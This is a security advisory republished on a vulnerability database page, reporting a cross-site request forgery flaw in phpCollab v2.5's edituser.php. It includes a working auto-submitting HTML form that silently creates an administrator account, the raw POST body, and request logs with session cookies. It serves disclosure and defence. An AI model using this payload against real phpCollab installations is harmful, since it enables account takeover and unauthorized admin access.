Vulners
Lucene search
phpCollab v2.5 CMS - Privilege Escalate CSRF Vulnerability
Technical Details & Description:
================================
A cross site request forgery vulnerability has been discovered in the official phpCollab v2.5 content management system.
In the absence of security token an attacker could execute arbitrary code in the administrator's browser to have a privileged
access. The vulnerability is located in the edituser.php file in the ./users/ path.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] ./phpcollab/users/
Vulnerable File(s):
[+] edituser.php
Vulnerable Parameter(s):
[+] id
Proof of Concept (PoC):
=======================
Cross site request forgery web vulnerability can be exploited by malicious web application without privileged user account and without user interaction.
PoC: CSRF Exploitation
<html>
<form accept-charset="UNKNOWN" method="POST" action="http://phpcollab.localhost:8080/phpcollab/users/edituser.php?id=&action=add&PHPSESSID=coflo6ves1ac5e177kf26mg7l7" name="ecDForm"/>
<input type='hidden' name="un" value="VulnLabs">
<input type='hidden' name='fn' value="ZwX" />
<input type='hidden' name='em' value="[email protected]"/>
<input type='hidden' name='pw' value="123123" />
<input type='hidden' name='pwa' value="123123" />
<input type='radio' name='perm' value='1' />
<input type='radio' name='perm' value='2' />
<input type='radio' name='perm' value='3' />
<input type='radio' name='perm' value='4' />
<input type='radio' name='perm' value='5' checked />
<tr class='odd'><td valign='top' class='leftvalue'>&nbps;</td><td><input type='SUBMIT' value='Sauvegarder' />&nbps;</td></tr>
<script>document.forms[0].submit()</script>
</form>
</html>
POST Method
[+] un=VulnLabs&fn=ZwX&em=test%40live.fr&pw=123123&pwa=123123&perm=5
--- PoC Session Logs ---
Status: 200 [OK]
Host: phpcollab.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __gads=ID=07968e6b89cfb5e9:T=1471277130:S=ALNI_Mb360EnbieGeQ6j0qksVtqioxOo6g; __utma=87180614.471852358.1471277221.1471289573.1471311800.4;
__utmc=87180614; __utmz=87180614.1471311800.4.4.utmcsr=demo.opensourcecms.com|utmccn=(referral)|utmcmd=referral|utmcct=/phpcollab/general/login.php;
PHPSESSID=eo2nfc7bqe68eugsgd7h0ehfh4; _pk_id.2.bb5e=83e7be2d899ec7fc.1471277247.4.1471313737.1471311796.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1471311796%2C%22http%3A%2F%2Fwww.opensourcecms.com%2Fdemo%2F2%2F336%2FphpCollab%22%5D;
wbTh=e; xwbR=e; _pk_ses.2.bb5e=*; __utmb=87180614.40.10.1471311800; __utmt=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Domain: www.zwx.fr
Contact: [email protected]
Social: twitter.com/XSSed.fr
Feeds: www.zwx.fr/feed/
Advisory: www.vulnerability-lab.com/show.php?user=ZwX
packetstormsecurity.com/files/author/12026/
cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
0day.today/author/27461
# 0day.today [2018-04-08] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Oct 2016 00:00Current
6.8Medium risk
Vulners AI Score6.8